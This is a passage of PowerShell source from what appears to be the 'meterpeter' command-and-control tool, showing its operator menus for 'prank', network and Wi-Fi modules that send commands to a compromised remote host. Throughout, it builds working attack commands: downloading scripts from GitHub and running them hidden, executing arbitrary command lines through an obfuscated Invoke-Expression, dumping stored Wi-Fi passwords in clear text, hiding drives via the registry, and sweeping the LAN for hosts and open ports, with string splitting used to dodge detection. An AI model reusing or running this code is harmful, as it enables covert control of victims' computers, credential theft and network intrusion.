          $Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){If(-not(Test-Path -Path `"${MyDrive}:`")){echo `"   [${MyDrive}:] Drive letter not found ..``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}Set-Volume -DriveLetter $MyDrive -NewFileSystemLabel `"$MyDName`";Start-Sleep -Seconds 1;Get-Volume -DriveLetter $MyDrive|Select-Object DriveLetter,FileSystemLabel,FileSystemType,HealthStatus,SizeRemaining,Size|FT}Else{echo `"   [i] Client Admin Privileges Required (run as administrator)``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
        }
        If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
        {
           $Command = $Null;
           $choise_two = $Null;
        }
      }
      If($choise -ieq "Nodrives")
      {
        write-host "`n`n   Description:" -ForegroundColor Yellow;
        write-host "   Module to enable\disable the display of drivers";
        write-host "   under Explorer (modify Explorer HKCU policy key)";
        write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
        write-host "   -------   -----------                     -------------------";
        write-host "   Disable   Hide Drives from explorer       " -NoNewline;
        write-host "Administrator" -ForegroundColor Red;
        write-host "   Enable    Show Drives in Explorer         "  -NoNewline;
        write-host "Administrator" -ForegroundColor Red;
        write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
        write-host "`n`n :meterpeter:Pranks:NoDrives> " -NoNewline -ForeGroundColor Green;
        $choise_two = Read-Host;
        If($choise_two -ieq "Disable" -or $choise_two -ieq "off")
        {
          write-host " * Hide All Drives (C:D:E:F:G) From Explorer .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
          $Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){cmd /R reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67108863 /f;Get-ItemProperty -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' -Name 'NoDrives' | select-Object NoDrives,PSchildName,PSDrive,PSProvider | Format-Table -AutoSize `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;cmd /R taskkill /F /IM explorer.exe;start explorer.exe}else{echo `"   [i] Client Admin Privileges Required (run as administrator)`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
        }
        If($choise_two -ieq "Enable" -or $choise_two -ieq "on")
        {
          write-host " * Display All Drives (C:D:E:F:G) In Explorer .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
          $Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){Remove-Itemproperty -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' -Name 'NoDrives' -Force;Get-Item -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;cmd /R taskkill /F /IM explorer.exe;start explorer.exe}else{echo `"   [i] Client Admin Privileges Required (run as administrator)`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
        }
        If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
        {
           $Command = $Null;
           $choise_two = $Null;
        }
      }
      If($choise -ieq "CriticalError")
      {
         $MaxInteractions = Read-Host " - How many times to loop prank?  (8) "
         $DelayTime = Read-Host " - The delay time between loops?  (9) "

         If([string]::IsNullOrEmpty($DelayTime)){$DelayTime = "9"}
         If([string]::IsNullOrEmpty($MaxInteractions)){$MaxInteractions = "8"}

         Write-Host " * Faking a critical system error (BSOD)" -ForegroundColor Green
         Write-Host "   => Takes aprox 30 seconds to run`n`n" -ForegroundColor DarkYellow

         write-host "   > Executing BSOD prank in background." -ForegroundColor Green
         write-host "   > MaxInteractions:" -NoNewline
         write-host "$MaxInteractions" -ForegroundColor Red -NoNewline
         write-host " DelayTime:" -NoNewline
         write-host "$DelayTime" -ForegroundColor Red -NoNewline
         write-host " (sec)`n"

         #Execute remote command
         $Command = "powershell cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/C2Prank.ps1' -OutFile 'C2Prank.ps1'|Unblock-File;Start-Process -windowstyle hidden powershell -ArgumentList '-file C2Prank.ps1 -MaxInteractions $MaxInteractions -DelayTime $DelayTime'"
      }
      If($choise -ieq "msgbox")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow
         write-host "   This module allow attacker to spawn a simple msgbox that auto-closes"
         write-host "   after a certain amount of pre-selected time, or spawn a msgbox that"
         write-host "   waits for comfirmation (press yes button on msgbox) to execute cmdline"
         write-host "   Remark: The msgbox 'auto-close time' its set in seconds" -ForegroundColor Yellow
         write-host "`n`n   Modules  Description                  Privileges Required" -ForegroundColor green;
         write-host "   -------  -----------                  -------------------";
         write-host "   simple   Spawn simple msgbox          UserLand";
         write-host "   cmdline  msgbox that exec cmdline     UserLand";
         write-host "   Return   Return to Server Main Menu" -ForeGroundColor yellow
         write-host "`n`n :meterpeter:Pranks:Msgbox> " -NoNewline -ForeGroundColor Green;
         $msgbox_choise = Read-Host;
         If($msgbox_choise -ieq "Simple")
         {
            Write-Host " * Spawn simple remote msgbox" -ForegroundColor Green
            $MsgBoxClose = Read-Host " - Msgbox auto-close time"
            If(-not($MsgBoxClose) -or $MsgBoxClose -ieq $null)
            {
               $MsgBoxClose = "10"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxClose'" -ForegroundColor Red
            }

            $MsgBoxTitle = Read-Host " - Input the msgbox title"
            If(-not($MsgBoxTitle) -or $MsgBoxTitle -ieq $null)
            {
               $MsgBoxTitle = "MeterpeterC2"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxTitle'" -ForegroundColor Red
            }

            $MsgBoxText = Read-Host " - Input text to display "
            If(-not($MsgBoxText) -or $MsgBoxText -ieq $null)
            {
               $MsgBoxText = "Executing message box .."
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxText'" -ForegroundColor Red
            }

            Write-Host "`n`n   > Executing simple messagebox remote ..`n"
            $Command = "powershell (New-Object -ComObject Wscript.Shell).Popup(`"$MsgBoxText`",$MsgBoxClose,`"$MsgBoxTitle`",4+64)|Out-Null"
         }
         If($msgbox_choise -ieq "cmdline")
         {
            $MsgBoxClose = Read-Host " - Msgbox auto-close time"
            If(-not($MsgBoxClose) -or $MsgBoxClose -ieq $null)
            {
               $MsgBoxClose = "10"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxClose'" -ForegroundColor Red
            }

            $MsgBoxTitle = Read-Host " - Input the msgbox title"
            If(-not($MsgBoxTitle) -or $MsgBoxTitle -ieq $null)
            {
               $MsgBoxTitle = "MeterpeterC2"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxTitle'" -ForegroundColor Red
            }

            $MsgBoxText = Read-Host " - Input text to display "
            If(-not($MsgBoxText) -or $MsgBoxText -ieq $null)
            {
               $MsgBoxText = "Executing command"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxText'" -ForegroundColor Red
            }

            $MsgBoxAppli = Read-Host " - PS Cmdline to execute "
            If(-not($MsgBoxAppli) -or $MsgBoxAppli -ieq $null)
            {
               $MsgBoxAppli = "cmd /R start calc.exe"
               Write-Host "   => Error: wrong input, set demo to '$MsgBoxAppli'" -ForegroundColor Red
            }

            Write-Host " * Spawn msgbox that exec cmdline" -ForegroundColor Green
            $Command = "[int]`$MymsgBox = powershell (New-Object -ComObject Wscript.Shell).Popup(`"$MsgBoxText`",$MsgBoxClose,`"$MsgBoxTitle`",4+64);If(`$MymsgBox -eq 6){echo `"$MsgBoxAppli`"|&('Sex' -replace 'S','I');echo `"`n   `> Command '$MsgBoxAppli' executed.`"|Out-File msglogfile.log}Else{echo `"`n   `> Fail to execute '$MsgBoxAppli' command.`"|Out-File msglogfile.log};Get-Content -Path msglogfile.log;Remove-Item -Path msglogfile.log -Force"
         }
         If($msgbox_choise -ieq "Return" -or $msgbox_choise -ieq "cls" -or $msgbox_choise -ieq "modules" -or $msgbox_choise -ieq "clear")
         {
            $choise = $Null;
            $Command = $Null;
            $msgbox_choise = $Null;
         }
      }
      If($choise -ieq "Speak")
      {
        write-host "`n`n   Description:" -ForegroundColor Yellow;
        write-host "   This module makes remote host speak one sentence."
        write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
        write-host "   -------   -----------                     -------------------"
        write-host "   start     speak input sentence            UserLand";
        write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
        write-host "`n`n :meterpeter:Pranks:Speak> " -NoNewline -ForeGroundColor Green;
        $Speak_choise = Read-Host;
        If($Speak_choise -ieq "start")
        {
           write-host " - Input Frase for Remote-Host to Speak: " -NoNewline;
           $MYSpeak = Read-Host;
           write-host " * Executing speak prank." -ForegroundColor Green
           If(-not ($MYSpeak -ieq $False -or $MYSpeak -eq ""))
           {
             write-host ""
             $Mytype = "Ad" + "d-Ty" + "pe " + "-Assembl" + "yName" -join ''
             $Command = "`$My_Line = `"$MYSpeak`";$Mytype System.speech;`$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer;`$speak.Volume = 85;`$speak.Rate = -2;`$speak.Speak(`$My_Line);echo `"   `> Speak Frase: '$MYSpeak' ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
           }
           Else
           {
             write-host "";
             $MYSpeak = "Next time dont forget to input the text ok?";
             $Mytype = "Ad" + "d-Ty" + "pe " + "-Assembl" + "yName" -join ''
             $Command = "`$My_Line = `"$MYSpeak`";$Mytype System.speech;`$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer;`$speak.Volume = 85;`$speak.Rate = -2;`$speak.Speak(`$My_Line);echo `"   `> Speak Frase: '$MYSpeak' ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
           }
        }
        If($Speak_choise -ieq "Return" -or $Speak_choise -ieq "cls" -or $Speak_choise -ieq "Modules" -or $Speak_choise -ieq "clear")
        {
          $choise = $Null;
          $Command = $Null;
          $Speak_choise = $Null;
        }
      }
      If($choise -ieq "OpenUrl" -or $choise -ieq "URL")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow
         write-host "   This module allow users to open one url link on default webbrowser."
         write-host "   It will open the browser or a new tab if the browser its allready up."
         write-host "`n`n   Modules  Description                  Privileges Required" -ForegroundColor green;
         write-host "   -------  -----------                  -------------------"
         write-host "   Open     Url on default browser       UserLand";
         write-host "   Return   Return to Server Main Menu" -ForeGroundColor yellow
         write-host "`n`n :meterpeter:Pranks:Url> " -NoNewline -ForeGroundColor Green;
         $url_choise = Read-Host;
         If($url_choise -ieq "Open")
         {
            $UrlLink = Read-Host " - Input URL to open"
            If(-not($UrlLink) -or $UrlLink -ieq $null)
            {
               $UrlLink = "https://mrdoob.com/projects/chromeexperiments/google-gravity"
               Write-Host "   => Error: wrong input, set demo to '$UrlLink'" -ForegroundColor Red
            }
            
            write-host ""
            $Command = "Start-Process -WindowStyle Maximized `"$UrlLink`"|Out-Null;If(`$? -eq `"True`"){echo `"   `> Successfuly open URL: $UrlLink`"|Out-File defbrowser.meterpeter;Start-Sleep -Seconds 1;Get-Content -Path defbrowser.meterpeter;Remove-Item -Path defbrowser.meterpeter -Force}Else{echo `"   `> Fail to open URL: $UrlLink`"|Out-File defbrowser.meterpeter;Get-Content -Path defbrowser.meterpeter;Remove-Item -Path defbrowser.meterpeter -Force}" 
            $UrlLink = $null
         }
         If($url_choise -ieq "Return" -or $url_choise -ieq "cls" -or $url_choise -ieq "modules" -or $url_choise -ieq "clear")
         {
            $choise = $Null;
            $Command = $Null;
            $url_choise = $Null;
         }
      }
      If($choise -ieq "GoogleX")
      {
        write-host "`n`n   Description:" -ForegroundColor Yellow;
        write-host "   Opens the default WebBrowser in sellected easter egg";
        write-host "   Or opens a new Tab if the browser its allready open.";
        write-host "`n`n   Modules     Description                     Privileges Required" -ForegroundColor green;
        write-host "   -------     -----------                     -------------------"
        write-host "   gravity     Open Google-Gravity             UserLand";
        write-host "   sphere      Open Google-Sphere              UserLand";
        write-host "   rotate      Rotate webpage 360º             UserLand";
        write-host "   mirror      Open Google-Mirror              UserLand";
        write-host "   teapot      Open Google-teapot              UserLand";
        write-host "   invaders    Open Invaders-Game              UserLand";
        write-host "   pacman      Open Pacman-Game                UserLand";
        write-host "   rush        Open Google-Zerg-Rush           UserLand";
        write-host "   moon        Open Google-Moon                UserLand";
        write-host "   terminal    Open Google-terminal            UserLand";
        write-host "   trexgame    Open Google-tRexgame            UserLand";
        write-host "   googlespace Open google-space               UserLand";
        write-host "   kidscoding  Open Google-kidscoding          UserLand";
        write-host "   Return      Return to Server Main Menu" -ForeGroundColor yellow;
        write-host "`n`n :meterpeter:Pranks:GoogleX> " -NoNewline -ForeGroundColor Green;
        $EasterEgg = Read-Host;
        If($EasterEgg -ieq "terminal")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/terminal"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "trexgame")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/t-rex"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "kidscoding")
        {
           write-host "`n";
           $cmdline = "https://www.google.com/logos/2017/logo17/logo17.html"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "googlespace")
        {
           write-host "`n";
           $cmdline = "https://mrdoob.com/projects/chromeexperiments/google-space/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "teapot")
        {
           write-host "`n";
           $cmdline = "https://www.google.com/teapot"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "sphere")
        {
           write-host "`n";
           $cmdline = "https://mrdoob.com/projects/chromeexperiments/google-sphere"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "gravity")
        {
           write-host "`n";
           $cmdline = "https://mrdoob.com/projects/chromeexperiments/google-gravity"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "rotate")
        {
           write-host " - Execute it how many times? : " -NoNewline;
           $LoopRange = Read-Host;
           If(-not($LoopRange) -or $LoopRange -eq $null)
           {
              $LoopRange = "1"
           }

           If($LoopRange -gt 1)
           {

              write-host " - Secs before the next loop? : " -NoNewline;
              $LoopDelay = Read-Host;
              If(-not($LoopDelay) -or $LoopDelay -eq $null)
              {
                 $LoopDelay = "20"
              }
           }
           Else
           {
              $LoopDelay = "5"
           }

           write-host "`n";
           $cmdline = "https://www.google.com/search?q=do+a+barrel+roll"
           $Command = "cd `$Env:TMP;iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/Prank2.ps1`" -OutFile `"`$Env:TMP\Prank2.ps1`"|Unblock-File;Start-Process -WindowStyle Hidden powershell -ArgumentList `"powershell -File `$Env:TMP\Prank2.ps1 -StartDelay '3' -LoopRange $LoopRange -LoopDelay $LoopDelay`";echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "rush")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/zergrush/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "moon")
        {
           write-host "`n";
           $cmdline = "https://www.google.com/moon/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "mirror")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/google-mirror/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "pacman")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/pacman/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }
        If($EasterEgg -ieq "invaders")
        {
           write-host "`n";
           $cmdline = "https://elgoog.im/space-invaders/"
           $Command = "cmd /R start /max $cmdline;echo `"   `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
        }        
        If($EasterEgg -ieq "Return" -or $EasterEgg -ieq "cls" -or $EasterEgg -ieq "Modules" -or $EasterEgg -ieq "clear")
        {
          $choise = $Null;
          $Command = $Null;
        }
        $EasterEgg = $Null;
      }
      If($choise -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "modules")
      {
        $Command = $Null;
      }
      $choise = $Null;
      $Clear = $True;
    }

    If($Command -iMatch '^(Net|NetScanner)$')
    {
      write-host "`n`n   Description:" -ForegroundColor Yellow;
      write-host "   Remote network manager";
      write-host "`n`n   Modules     Description" -ForegroundColor green;
      write-host "   -------     -----------";
      write-host "   ListDNS     List remote host Domain Name entrys";
      write-host "   TCPinfo     List remote host TCP\UDP connections";
      write-host "   ListWifi    List remote host Profiles/SSID/Passwords";
      write-host "   PingScan    List devices ip addr\ports\dnsnames on Lan";
      write-host "   GeoLocate   List Client GeoLocation curl \ ifconfig.me";
      write-host "   Return      Return to Server Main Menu" -ForeGroundColor yellow
      write-host "`n`n :meterpeter:Net> " -NoNewline -ForeGroundColor Green;
      $choise = Read-Host;
      If($choise -ieq "ListDNS" -or $choise -ieq "dns")
      {
        write-host " * Remote host DNS entrys.`n" -ForegroundColor Green;Start-Sleep -Seconds 1
        $Command = "Get-DnsClientCache|Select-Object Entry,Name,DataLength,Data|Format-Table -AutoSize > dns.txt;`$TestData = Get-Content dns.txt;If([string]::IsNullOrEmpty(`$TestData)){echo `"   `> None remote DNS cache entrys found!`" `> dns.txt};Get-Content dns.txt;remove-item dns.txt -Force";
      }
      If($choise -ieq "TCPinfo" -or $choise -ieq "TCP")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow
         write-host "   This module enumerate ESTABLISHED TCP\UDP connections"
         write-host "   DNS Address Ip address, Hotnames and TCP Routing Table"
         write-host "`n`n   Modules  Description                    Privileges Required" -ForegroundColor green;
         write-host "   -------  -----------                    -------------------";
         write-host "   Stats    Query IPv4 Statistics          UserLand";
         write-host "   Query    Established TCP connections    UserLand";
         write-host "   Verbose  Query TCP\UDP\DNS\ARP cache    UserLand";
         write-host "   Return   Return to Server Main Menu" -ForeGroundColor yellow
         write-host "`n`n :meterpeter:Net:Tcp> " -NoNewline -ForeGroundColor Green;
         $ConManager_choise = Read-Host;
         If($ConManager_choise -ieq "Stats")
         {
            write-host " * Enumerating TCP statatistiscs." -ForegroundColor Green
            $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Stats;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"         
         }
         If($ConManager_choise -ieq "Query")
         {
            write-host " * Established TCP connections.`n" -ForegroundColor Green
            $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Enum;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"
         }
         If($ConManager_choise -ieq "Verbose")
         {
            write-host " * Established TCP\UDP connections.`n" -ForegroundColor Green
            $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Verbose;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"
         }
         If($ConManager_choise -ieq "Return" -or $ConManager_choise -ieq "cls" -or $ConManager_choise -ieq "Modules" -or $ConManager_choise -ieq "clear")
         {
          $choise = $Null;
          $Command = $Null;
          $ConManager_choise = $Null;
        }
      }
      If($choise -ieq "ListWifi" -or $choise -ieq "wifi")
      {
        write-host "`n`n   Remark:" -ForegroundColor Yellow
        write-host "   Use single quotes if profile contains empty spaces."
        write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
        write-host "   -------   -----------                     -------------------";
        write-host "   ListProf  Remote-Host wifi Profile        UserLand";
        write-host "   ListNetw  List wifi Available networks    UserLand";
        write-host "   ListSSID  List Remote-Host SSID Entrys    UserLand";
        write-host "   SSIDPass  Extract Stored SSID passwords   UserLand";
        write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
        write-host "`n`n :meterpeter:Net:Wifi> " -NoNewline -ForeGroundColor Green;
        $wifi_choise = Read-Host;
        If($wifi_choise -ieq "ListProf" -or $wifi_choise -ieq "prof")
        {
          write-host " * Remote-Host Profile Statistics." -ForegroundColor Green;Start-Sleep -Seconds 1
          $Command = "cmd /R Netsh WLAN show interface `> pro.txt;`$check_tasks = Get-content pro.txt;If(-not (`$check_tasks)){echo `"   [i] meterpeter Failed to retrieve wifi profile ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item pro.txt -Force}else{Get-Content pro.txt;Remove-Item pro.txt -Force}";          
        }
        If($wifi_choise -ieq "ListNetw" -or $wifi_choise -ieq "netw")
        {
          write-host " * List Available wifi Networks." -ForegroundColor Green;Start-Sleep -Seconds 1
          $Command = "cmd /R Netsh wlan show networks `> pro.txt;`$check_tasks = Get-content pro.txt;If(-not (`$check_tasks)){echo `"   [i] None networks list found in: $Remote_Host`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item pro.txt -Force}else{Get-Content pro.txt;Remove-Item pro.txt -Force}";          
        }
        If($wifi_choise -ieq "ListSSID" -or $wifi_choise -ieq "ssid")
        {
          write-host " * List of Remote-Host SSID profiles." -ForegroundColor Green;Start-Sleep -Seconds 1
          $Command = "cmd /R Netsh WLAN show profiles `> ssid.txt;`$check_tasks = Get-content ssid.txt;If(-not (`$check_tasks)){echo `"   [i] None SSID profile found in: $Remote_Host`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item ssid.txt -Force}else{Get-Content ssid.txt;Remove-Item ssid.txt -Force}";
        }
        If($wifi_choise -ieq "SSIDPass" -or $wifi_choise -ieq "pass")
        {
          write-host " - Sellect WIFI Profile: " -ForegroundColor Red -NoNewline;
          $profile = Read-Host;
          If(-not ($profile) -or $profile -eq " ")
          {
            write-host "  => Error: None Profile Name provided .." -ForegroundColor red -BackGroundColor white;
            write-host "  => Usage: meterpeter> AdvInfo -> WifiPass -> ListSSID (to List Profiles)." -ForegroundColor red -BackGroundColor white;write-host "`n`n";
            Start-Sleep -Seconds 4;
            $Command = $Null;
            $profile = $Null;
          }else{
            write-host " * Extracting SSID Password." -ForegroundColor Green;Start-Sleep -Seconds 1
            $Command = "cmd /R netsh wlan show profile $profile Key=Clear `> key.txt;Get-Content key.txt;Remove-Item key.txt -Force"
          }
          $profile = $Null;
        }
        If($wifi_choise -ieq "Return" -or $wifi_choise -ieq "return" -or $wifi_choise -ieq "cls" -or $wifi_choise -ieq "Modules" -or $wifi_choise -ieq "modules" -or $wifi_choise -ieq "clear")
        {
          $choise = $Null;
          $Command = $Null;
        }
        $choise = $Null;
        $wifi_choise = $Null;
      }
      If($choise -ieq "PingScan" -or $choise -ieq "Ping")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow;
         write-host "   Module to scan local lan for active ip addreses";
         write-host "   or open ports if sellected the 'portscan' module.";
         write-host "   Remark: maxports portscan takes aprox 4 minutes." -ForeGroundColor yellow
         write-host "`n`n   Modules   Description                            Privileges Required" -ForegroundColor green;
         write-host "   -------   -----------                            ------------------";
         write-host "   Enum      List active ip addresses on local Lan  UserLand";
         write-host "   PortScan  Single ip port scanner \ dns resolver  UserLand";
         write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
         write-host "`n`n :meterpeter:Net:Ping> " -NoNewline -ForeGroundColor Green;
         $ping_choise = Read-Host;
         If($ping_choise -ieq "Enum")
         {
            Write-Host " - Ip addr range to scan (1,255): " -ForegroundColor Red -NoNewline
            $IpRange = Read-Host;
            If($IpRange -eq $null -or $IpRange -NotMatch ',')
            {
               $TimeOut = "300"
               $IpRange = "1,255"
               Write-Host "   => Error: wrong iprange, set demo to '$IpRange' .." -ForegroundColor Red
               Write-Host " * Remark: full scan takes aprox 2 minutes to finish."  -ForegroundColor Yellow
            }
            Else
            {
               $TimeOut = "300" #Faster discovery mode
            }

            #Execute command remotely
            Write-Host " * Scanning Lan for active devices!" -ForegroundColor Green
            $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/PingSweep.ps1`" -OutFile `"`$Env:TMP\PingSweep.ps1`"|Out-Null;powershell -File `$Env:TMP\PingSweep.ps1 -Action Enum -IpRange `"$IpRange`" -TimeOut `"$TimeOut`" -Egg True;Remove-Item -Path `$Env:TMP\PingSweep.ps1 -Force"
         }
         If($ping_choise -ieq "PortScan")
         {
            Write-Host " - Input ip address to scan ($Local_Host) : " -ForegroundColor Red -NoNewline
            $IpRange = Read-Host;
            If($IpRange -NotMatch '^(\d+\d+\d+)\.(\d+\d+\d+).')
            {
               $IpRange = "$Local_Host"
               Write-Host "   => Error: wrong iprange, set demo to '$IpRange' .." -ForegroundColor Red
            }

            Write-Host " - Set scantype (bullet|topports|maxports) : " -NoNewline
            $ScanType = Read-Host;
            If($ScanType -iNotMatch '^(bullet|TopPorts|MaxPorts)$')
            {
               $ScanType = "topports"
               Write-Host "   => Error: wrong scantype, set demo to '$ScanType' .." -ForegroundColor Red
            }

            #Execute command remotely
            Write-Host " * Scanning '" -ForegroundColor Green -NoNewline
            Write-Host "$IpRange" -ForegroundColor Red -NoNewline
            Write-Host "' ports\services!" -ForegroundColor Green
            $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/PingSweep.ps1`" -OutFile `"`$Env:TMP\PingSweep.ps1`"|Out-Null;powershell -File `$Env:TMP\PingSweep.ps1 -Action PortScan -IpRange `"$IpRange`" -ScanType $ScanType -OutPut verbose -Egg True;Remove-Item -Path `$Env:TMP\PingSweep.ps1 -Force"
         }
         If($ping_choise -ieq "Return" -or $ping_choise -ieq "cls" -or $ping_choise -ieq "Modules")
         {
            $ping_choise = $null
            $Command = $Null;
         }
      }
      If($choise -ieq "GeoLocate" -or $choise -ieq "GEO")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow;
         write-host "   Geo locate remote host and resolve public ip addr";
         write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
         write-host "   -------   -----------                     ------------------";
         write-host "   GeoLocate Client GeoLocation using curl   UserLand";
         write-host "   ifconfig  Client GeoLocation using ipinfo UserLand";
         write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
         write-host "`n`n :meterpeter:Net:Geo> " -NoNewline -ForeGroundColor Green;
         $Geo_choise = Read-Host;
         If($Geo_choise -ieq "GeoLocate")
         {
            Write-Host " - Resolve public ip addr? (y|n): " -NoNewline;
            $PublicIpSettings = Read-Host;
            If($PublicIpSettings -iMatch '^(y|yes)$')
            {
               #Execute command remotely
               Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
               $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GeoLocation.ps1`" -OutFile `"`$Env:TMP\GeoLocation.ps1`"|Out-Null;powershell -File `$Env:TMP\GeoLocation.ps1 -HiddeMyAss false;Remove-Item -Path `$Env:TMP\GeoLocation.ps1 -Force"
            }
            Else
            {
               #Execute command remotely
               Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
               $Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GeoLocation.ps1`" -OutFile `"`$Env:TMP\GeoLocation.ps1`"|Out-Null;powershell -File `$Env:TMP\GeoLocation.ps1 -HiddeMyAss true;Remove-Item -Path `$Env:TMP\GeoLocation.ps1 -Force"
            }
         }
         If($Geo_choise -ieq "ifconfig")
         {
            Write-Host " - Resolve public ip addr? (y|n) : " -NoNewline;
            $PublicIpSettings = Read-Host;
            Write-Host " - Display verbose outputs? (y|n): " -NoNewline;
            $Verboseme = Read-Host;
            If($Verboseme -iMatch '^(y|yes)$')
            {
               $Verboseme = "true"
            }
            Else
            {
               $Verboseme = "false"            
            }

